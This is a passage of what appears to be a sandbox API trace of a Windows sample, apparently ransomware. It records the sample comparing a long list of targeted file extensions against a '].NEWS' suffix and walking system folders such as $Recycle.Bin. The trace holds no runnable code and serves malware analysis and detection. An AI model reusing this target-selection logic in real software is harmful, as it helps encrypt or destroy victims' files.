lpString2="].NEWS") returned -1 [0190.888] lstrlenW (lpString=".clx") returned 4 [0190.888] lstrcmpiW (lpString1=".clx", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".config") returned 7 [0190.888] lstrcmpiW (lpString1=".config", lpString2="m].NEWS") returned -1 [0190.888] lstrlenW (lpString=".cpp") returned 4 [0190.888] lstrcmpiW (lpString1=".cpp", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".cr2") returned 4 [0190.888] lstrcmpiW (lpString1=".cr2", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".crt") returned 4 [0190.888] lstrcmpiW (lpString1=".crt", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".crw") returned 4 [0190.888] lstrcmpiW (lpString1=".crw", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".cs") returned 3 [0190.888] lstrcmpiW (lpString1=".cs", lpString2="EWS") returned -1 [0190.888] lstrlenW (lpString=".css") returned 4 [0190.888] lstrcmpiW (lpString1=".css", lpString2="NEWS") returned -1 [0190.888] lstrlenW (lpString=".csv") returned 4 [0190.889] lstrcmpiW (lpString1=".csv", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".cub") returned 4 [0190.889] lstrcmpiW (lpString1=".cub", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dae") returned 4 [0190.889] lstrcmpiW (lpString1=".dae", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dat") returned 4 [0190.889] lstrcmpiW (lpString1=".dat", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".db") returned 3 [0190.889] lstrcmpiW (lpString1=".db", lpString2="EWS") returned -1 [0190.889] lstrlenW (lpString=".dbf") returned 4 [0190.889] lstrcmpiW (lpString1=".dbf", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dbx") returned 4 [0190.889] lstrcmpiW (lpString1=".dbx", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dc3") returned 4 [0190.889] lstrcmpiW (lpString1=".dc3", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dcm") returned 4 [0190.889] lstrcmpiW (lpString1=".dcm", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dcr") returned 4 [0190.889] lstrcmpiW (lpString1=".dcr", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".der") returned 4 [0190.889] lstrcmpiW (lpString1=".der", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dib") returned 4 [0190.889] lstrcmpiW (lpString1=".dib", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dic") returned 4 [0190.889] lstrcmpiW (lpString1=".dic", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".dif") returned 4 [0190.889] lstrcmpiW (lpString1=".dif", lpString2="NEWS") returned -1 [0190.889] lstrlenW (lpString=".divx") returned 5 [0190.890] lstrcmpiW (lpString1=".divx", lpString2=".NEWS") returned -1 [0190.890] lstrlenW (lpString=".djvu") returned 5 [0190.890] lstrcmpiW (lpString1=".djvu", lpString2=".NEWS") returned -1 [0190.890] lstrlenW (lpString=".dng") returned 4 [0190.890] lstrcmpiW (lpString1=".dng", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".doc") returned 4 [0190.890] lstrcmpiW (lpString1=".doc", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".docm") returned 5 [0190.890] lstrcmpiW (lpString1=".docm", lpString2=".NEWS") returned -1 [0190.890] lstrlenW (lpString=".docx") returned 5 [0190.890] lstrcmpiW (lpString1=".docx", lpString2=".NEWS") returned -1 [0190.890] lstrlenW (lpString=".dot") returned 4 [0190.890] lstrcmpiW (lpString1=".dot", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".dotm") returned 5 [0190.890] lstrcmpiW (lpString1=".dotm", lpString2=".NEWS") returned -1 [0190.890] lstrlenW (lpString=".dotx") returned 5 [0190.890] lstrcmpiW (lpString1=".dotx", lpString2=".NEWS") returned -1 [0190.890] lstrlenW (lpString=".dpx") returned 4 [0190.890] lstrcmpiW (lpString1=".dpx", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".dqy") returned 4 [0190.890] lstrcmpiW (lpString1=".dqy", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".dsn") returned 4 [0190.890] lstrcmpiW (lpString1=".dsn", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".dt") returned 3 [0190.890] lstrcmpiW (lpString1=".dt", lpString2="EWS") returned -1 [0190.890] lstrlenW (lpString=".dtd") returned 4 [0190.890] lstrcmpiW (lpString1=".dtd", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".dwg") returned 4 [0190.890] lstrcmpiW (lpString1=".dwg", lpString2="NEWS") returned -1 [0190.890] lstrlenW (lpString=".dwt") returned 4 [0190.891] lstrcmpiW (lpString1=".dwt", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".dx") returned 3 [0190.891] lstrcmpiW (lpString1=".dx", lpString2="EWS") returned -1 [0190.891] lstrlenW (lpString=".dxf") returned 4 [0190.891] lstrcmpiW (lpString1=".dxf", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".edml") returned 5 [0190.891] lstrcmpiW (lpString1=".edml", lpString2=".NEWS") returned -1 [0190.891] lstrlenW (lpString=".efd") returned 4 [0190.891] lstrcmpiW (lpString1=".efd", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".elf") returned 4 [0190.891] lstrcmpiW (lpString1=".elf", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".emf") returned 4 [0190.891] lstrcmpiW (lpString1=".emf", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".emz") returned 4 [0190.891] lstrcmpiW (lpString1=".emz", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".epf") returned 4 [0190.891] lstrcmpiW (lpString1=".epf", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".eps") returned 4 [0190.891] lstrcmpiW (lpString1=".eps", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".epsf") returned 5 [0190.891] lstrcmpiW (lpString1=".epsf", lpString2=".NEWS") returned -1 [0190.891] lstrlenW (lpString=".epsp") returned 5 [0190.891] lstrcmpiW (lpString1=".epsp", lpString2=".NEWS") returned -1 [0190.891] lstrlenW (lpString=".erf") returned 4 [0190.891] lstrcmpiW (lpString1=".erf", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".exr") returned 4 [0190.891] lstrcmpiW (lpString1=".exr", lpString2="NEWS") returned -1 [0190.891] lstrlenW (lpString=".f4v") returned 4 [0190.892] lstrcmpiW (lpString1=".f4v", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".fido") returned 5 [0190.892] lstrcmpiW (lpString1=".fido", lpString2=".NEWS") returned -1 [0190.892] lstrlenW (lpString=".flm") returned 4 [0190.892] lstrcmpiW (lpString1=".flm", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".flv") returned 4 [0190.892] lstrcmpiW (lpString1=".flv", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".frm") returned 4 [0190.892] lstrcmpiW (lpString1=".frm", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".fxg") returned 4 [0190.892] lstrcmpiW (lpString1=".fxg", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".geo") returned 4 [0190.892] lstrcmpiW (lpString1=".geo", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".gif") returned 4 [0190.892] lstrcmpiW (lpString1=".gif", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".grs") returned 4 [0190.892] lstrcmpiW (lpString1=".grs", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".gz") returned 3 [0190.892] lstrcmpiW (lpString1=".gz", lpString2="EWS") returned -1 [0190.892] lstrlenW (lpString=".h") returned 2 [0190.892] lstrcmpiW (lpString1=".h", lpString2="WS") returned -1 [0190.892] lstrlenW (lpString=".hdr") returned 4 [0190.892] lstrcmpiW (lpString1=".hdr", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".hpp") returned 4 [0190.892] lstrcmpiW (lpString1=".hpp", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".hta") returned 4 [0190.892] lstrcmpiW (lpString1=".hta", lpString2="NEWS") returned -1 [0190.892] lstrlenW (lpString=".htc") returned 4 [0190.892] lstrcmpiW (lpString1=".htc", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".htm") returned 4 [0190.893] lstrcmpiW (lpString1=".htm", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".html") returned 5 [0190.893] lstrcmpiW (lpString1=".html", lpString2=".NEWS") returned -1 [0190.893] lstrlenW (lpString=".icb") returned 4 [0190.893] lstrcmpiW (lpString1=".icb", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".ics") returned 4 [0190.893] lstrcmpiW (lpString1=".ics", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".iff") returned 4 [0190.893] lstrcmpiW (lpString1=".iff", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".inc") returned 4 [0190.893] lstrcmpiW (lpString1=".inc", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".indd") returned 5 [0190.893] lstrcmpiW (lpString1=".indd", lpString2=".NEWS") returned -1 [0190.893] lstrlenW (lpString=".ini") returned 4 [0190.893] lstrcmpiW (lpString1=".ini", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".iqy") returned 4 [0190.893] lstrcmpiW (lpString1=".iqy", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".j2c") returned 4 [0190.893] lstrcmpiW (lpString1=".j2c", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".j2k") returned 4 [0190.893] lstrcmpiW (lpString1=".j2k", lpString2="NEWS") returned -1 [0190.893] lstrlenW (lpString=".java") returned 5 [0190.893] lstrcmpiW (lpString1=".java", lpString2=".NEWS") returned -1 [0190.893] lstrlenW (lpString=".jp2") returned 4 [0190.893] lstrcmpiW (lpString1=".jp2", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".jpc") returned 4 [0190.894] lstrcmpiW (lpString1=".jpc", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".jpe") returned 4 [0190.894] lstrcmpiW (lpString1=".jpe", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".jpeg") returned 5 [0190.894] lstrcmpiW (lpString1=".jpeg", lpString2=".NEWS") returned -1 [0190.894] lstrlenW (lpString=".jpf") returned 4 [0190.894] lstrcmpiW (lpString1=".jpf", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".jpg") returned 4 [0190.894] lstrcmpiW (lpString1=".jpg", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".jpx") returned 4 [0190.894] lstrcmpiW (lpString1=".jpx", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".js") returned 3 [0190.894] lstrcmpiW (lpString1=".js", lpString2="EWS") returned -1 [0190.894] lstrlenW (lpString=".jsf") returned 4 [0190.894] lstrcmpiW (lpString1=".jsf", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".json") returned 5 [0190.894] lstrcmpiW (lpString1=".json", lpString2=".NEWS") returned -1 [0190.894] lstrlenW (lpString=".jsp") returned 4 [0190.894] lstrcmpiW (lpString1=".jsp", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".kdc") returned 4 [0190.894] lstrcmpiW (lpString1=".kdc", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".kmz") returned 4 [0190.894] lstrcmpiW (lpString1=".kmz", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".kwm") returned 4 [0190.894] lstrcmpiW (lpString1=".kwm", lpString2="NEWS") returned -1 [0190.894] lstrlenW (lpString=".lasso") returned 6 [0190.894] lstrcmpiW (lpString1=".lasso", lpString2="].NEWS") returned -1 [0190.894] lstrlenW (lpString=".lbi") returned 4 [0190.895] lstrcmpiW (lpString1=".lbi", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".lgf") returned 4 [0190.895] lstrcmpiW (lpString1=".lgf", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".lgp") returned 4 [0190.895] lstrcmpiW (lpString1=".lgp", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".log") returned 4 [0190.895] lstrcmpiW (lpString1=".log", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".m1v") returned 4 [0190.895] lstrcmpiW (lpString1=".m1v", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".m4a") returned 4 [0190.895] lstrcmpiW (lpString1=".m4a", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".m4v") returned 4 [0190.895] lstrcmpiW (lpString1=".m4v", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".max") returned 4 [0190.895] lstrcmpiW (lpString1=".max", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".md") returned 3 [0190.895] lstrcmpiW (lpString1=".md", lpString2="EWS") returned -1 [0190.895] lstrlenW (lpString=".mda") returned 4 [0190.895] lstrcmpiW (lpString1=".mda", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".mdb") returned 4 [0190.895] lstrcmpiW (lpString1=".mdb", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".mde") returned 4 [0190.895] lstrcmpiW (lpString1=".mde", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".mdf") returned 4 [0190.895] lstrcmpiW (lpString1=".mdf", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".mdw") returned 4 [0190.895] lstrcmpiW (lpString1=".mdw", lpString2="NEWS") returned -1 [0190.895] lstrlenW (lpString=".mef") returned 4 [0190.895] lstrcmpiW (lpString1=".mef", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mft") returned 4 [0190.896] lstrcmpiW (lpString1=".mft", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mfw") returned 4 [0190.896] lstrcmpiW (lpString1=".mfw", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mht") returned 4 [0190.896] lstrcmpiW (lpString1=".mht", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mhtml") returned 6 [0190.896] lstrcmpiW (lpString1=".mhtml", lpString2="].NEWS") returned -1 [0190.896] lstrlenW (lpString=".mka") returned 4 [0190.896] lstrcmpiW (lpString1=".mka", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mkidx") returned 6 [0190.896] lstrcmpiW (lpString1=".mkidx", lpString2="].NEWS") returned -1 [0190.896] lstrlenW (lpString=".mkv") returned 4 [0190.896] lstrcmpiW (lpString1=".mkv", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mos") returned 4 [0190.896] lstrcmpiW (lpString1=".mos", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mov") returned 4 [0190.896] lstrcmpiW (lpString1=".mov", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mp3") returned 4 [0190.896] lstrcmpiW (lpString1=".mp3", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mp4") returned 4 [0190.896] lstrcmpiW (lpString1=".mp4", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mpeg") returned 5 [0190.896] lstrcmpiW (lpString1=".mpeg", lpString2=".NEWS") returned -1 [0190.896] lstrlenW (lpString=".mpg") returned 4 [0190.896] lstrcmpiW (lpString1=".mpg", lpString2="NEWS") returned -1 [0190.896] lstrlenW (lpString=".mpv") returned 4 [0190.896] lstrcmpiW (lpString1=".mpv", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".mrw") returned 4 [0190.897] lstrcmpiW (lpString1=".mrw", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".msg") returned 4 [0190.897] lstrcmpiW (lpString1=".msg", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".mxl") returned 4 [0190.897] lstrcmpiW (lpString1=".mxl", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".myd") returned 4 [0190.897] lstrcmpiW (lpString1=".myd", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".myi") returned 4 [0190.897] lstrcmpiW (lpString1=".myi", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".nef") returned 4 [0190.897] lstrcmpiW (lpString1=".nef", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".nrw") returned 4 [0190.897] lstrcmpiW (lpString1=".nrw", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".obj") returned 4 [0190.897] lstrcmpiW (lpString1=".obj", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".odb") returned 4 [0190.897] lstrcmpiW (lpString1=".odb", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".odc") returned 4 [0190.897] lstrcmpiW (lpString1=".odc", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".odm") returned 4 [0190.897] lstrcmpiW (lpString1=".odm", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".odp") returned 4 [0190.897] lstrcmpiW (lpString1=".odp", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".ods") returned 4 [0190.897] lstrcmpiW (lpString1=".ods", lpString2="NEWS") returned -1 [0190.897] lstrlenW (lpString=".oft") returned 4 [0190.897] lstrcmpiW (lpString1=".oft", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".one") returned 4 [0190.898] lstrcmpiW (lpString1=".one", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".onepkg") returned 7 [0190.898] lstrcmpiW (lpString1=".onepkg", lpString2="m].NEWS") returned -1 [0190.898] lstrlenW (lpString=".onetoc2") returned 8 [0190.898] lstrcmpiW (lpString1=".onetoc2", lpString2="om].NEWS") returned -1 [0190.898] lstrlenW (lpString=".opt") returned 4 [0190.898] lstrcmpiW (lpString1=".opt", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".oqy") returned 4 [0190.898] lstrcmpiW (lpString1=".oqy", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".orf") returned 4 [0190.898] lstrcmpiW (lpString1=".orf", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".p12") returned 4 [0190.898] lstrcmpiW (lpString1=".p12", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".p7b") returned 4 [0190.898] lstrcmpiW (lpString1=".p7b", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".p7c") returned 4 [0190.898] lstrcmpiW (lpString1=".p7c", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".pam") returned 4 [0190.898] lstrcmpiW (lpString1=".pam", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".pbm") returned 4 [0190.898] lstrcmpiW (lpString1=".pbm", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".pct") returned 4 [0190.898] lstrcmpiW (lpString1=".pct", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".pcx") returned 4 [0190.898] lstrcmpiW (lpString1=".pcx", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".pdd") returned 4 [0190.898] lstrcmpiW (lpString1=".pdd", lpString2="NEWS") returned -1 [0190.898] lstrlenW (lpString=".pdf") returned 4 [0190.899] lstrcmpiW (lpString1=".pdf", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pdp") returned 4 [0190.899] lstrcmpiW (lpString1=".pdp", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pef") returned 4 [0190.899] lstrcmpiW (lpString1=".pef", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pem") returned 4 [0190.899] lstrcmpiW (lpString1=".pem", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pff") returned 4 [0190.899] lstrcmpiW (lpString1=".pff", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pfm") returned 4 [0190.899] lstrcmpiW (lpString1=".pfm", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pfx") returned 4 [0190.899] lstrcmpiW (lpString1=".pfx", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".pgm") returned 4 [0190.899] lstrcmpiW (lpString1=".pgm", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".php") returned 4 [0190.899] lstrcmpiW (lpString1=".php", lpString2="NEWS") returned -1 [0190.899] lstrlenW (lpString=".php3") returned 5 [0190.899] lstrcmpiW (lpString1=".php3", lpString2=".NEWS") returned 1 [0190.899] lstrlenW (lpString=".php4") returned 5 [0190.899] lstrcmpiW (lpString1=".php4", lpString2=".NEWS") returned 1 [0190.899] lstrlenW (lpString=".php5") returned 5 [0190.899] lstrcmpiW (lpString1=".php5", lpString2=".NEWS") returned 1 [0190.899] lstrlenW (lpString=".phtml") returned 6 [0190.899] lstrcmpiW (lpString1=".phtml", lpString2="].NEWS") returned -1 [0190.899] lstrlenW (lpString=".pict") returned 5 [0190.899] lstrcmpiW (lpString1=".pict", lpString2=".NEWS") returned 1 [0190.899] lstrlenW (lpString=".pl") returned 3 [0190.899] lstrcmpiW (lpString1=".pl", lpString2="EWS") returned -1 [0190.900] lstrlenW (lpString=".pls") returned 4 [0190.900] lstrcmpiW (lpString1=".pls", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".pm") returned 3 [0190.900] lstrcmpiW (lpString1=".pm", lpString2="EWS") returned -1 [0190.900] lstrlenW (lpString=".png") returned 4 [0190.900] lstrcmpiW (lpString1=".png", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".pnm") returned 4 [0190.900] lstrcmpiW (lpString1=".pnm", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".pot") returned 4 [0190.900] lstrcmpiW (lpString1=".pot", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".potm") returned 5 [0190.900] lstrcmpiW (lpString1=".potm", lpString2=".NEWS") returned 1 [0190.900] lstrlenW (lpString=".potx") returned 5 [0190.900] lstrcmpiW (lpString1=".potx", lpString2=".NEWS") returned 1 [0190.900] lstrlenW (lpString=".ppa") returned 4 [0190.900] lstrcmpiW (lpString1=".ppa", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".ppam") returned 5 [0190.900] lstrcmpiW (lpString1=".ppam", lpString2=".NEWS") returned 1 [0190.900] lstrlenW (lpString=".ppm") returned 4 [0190.900] lstrcmpiW (lpString1=".ppm", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".pps") returned 4 [0190.900] lstrcmpiW (lpString1=".pps", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".ppsm") returned 5 [0190.900] lstrcmpiW (lpString1=".ppsm", lpString2=".NEWS") returned 1 [0190.900] lstrlenW (lpString=".ppt") returned 4 [0190.900] lstrcmpiW (lpString1=".ppt", lpString2="NEWS") returned -1 [0190.900] lstrlenW (lpString=".pptm") returned 5 [0190.900] lstrcmpiW (lpString1=".pptm", lpString2=".NEWS") returned 1 [0190.900] lstrlenW (lpString=".pptx") returned 5 [0190.901] lstrcmpiW (lpString1=".pptx", lpString2=".NEWS") returned 1 [0190.901] lstrlenW (lpString=".prn") returned 4 [0190.901] lstrcmpiW (lpString1=".prn", lpString2="NEWS") returned -1 [0190.901] lstrlenW (lpString=".ps") returned 3 [0190.901] lstrcmpiW (lpString1=".ps", lpString2="EWS") returned -1 [0190.901] lstrlenW (lpString=".psb") returned 4 [0190.901] lstrcmpiW (lpString1=".psb", lpString2="NEWS") returned -1 [0190.901] lstrlenW (lpString=".psd") returned 4 [0190.901] lstrcmpiW (lpString1=".psd", lpString2="NEWS") returned -1 [0190.901] lstrlenW (lpString=".pst") returned 4 [0190.901] lstrcmpiW (lpString1=".pst", lpString2="NEWS") returned -1 [0190.901] lstrlenW (lpString=".ptx") returned 4 [0190.901] lstrcmpiW (lpString1=".ptx", lpString2="NEWS") returned -1 [0190.901] lstrlenW (lpString=".pub") returned 4 [0190.901] lstrcmpiW (lpString1=".pub", lpString2="NEWS") returned -1 [0190.901] lstrlenW (lpString=".pwm") returned 4 [0190.901] lstrcmpiW (lpString1=".pwm", lpString2="NEWS") returned -1 [0190.902] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0190.902] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 1 [0190.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0190.905] FindNextFileW (in: hFindFile=0x67a478, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="SafeOS", cAlternateFileName="")) returned 0 [0190.905] FindClose (in: hFindFile=0x67a478 | out: hFindFile=0x67a478) returned 1 [0190.905] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0190.906] FindNextFileW (in: hFindFile=0x67a5b8, lpFindFileData=0x2d0fcf8 | out: lpFindFileData=0x2d0fcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1 [0190.908] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0190.908] FindNextFileW (in: hFindFile=0x67a638, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0190.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0190.909] FindNextFileW (in: hFindFile=0x67a638, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x68968dfd, ftLastAccessTime.dwHighDateTime=0x1d5e206, ftLastWriteTime.dwLowDateTime=0x68968dfd, ftLastWriteTime.dwHighDateTime=0x1d5e206, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0190.909] FindClose (in: hFindFile=0x67a638 | out: hFindFile=0x67a638) returned 1 [0190.909] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x31e0730 | out: hHeap=0x660000) returned 1 [0190.910] FindNextFileW (in: hFindFile=0x67a5b8, lpFindFileData=0x2d0fcf8 | out: lpFindFileData=0x2d0fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77110000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0191.083] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3200740 | out: hHeap=0x660000) returned 1 [0191.083] FindNextFileW (in: hFindFile=0x67aab8, lpFindFileData=0x2d0fa7c | out: lpFindFileData=0x2d0fa7c*(dwFileAttributes=0x10, 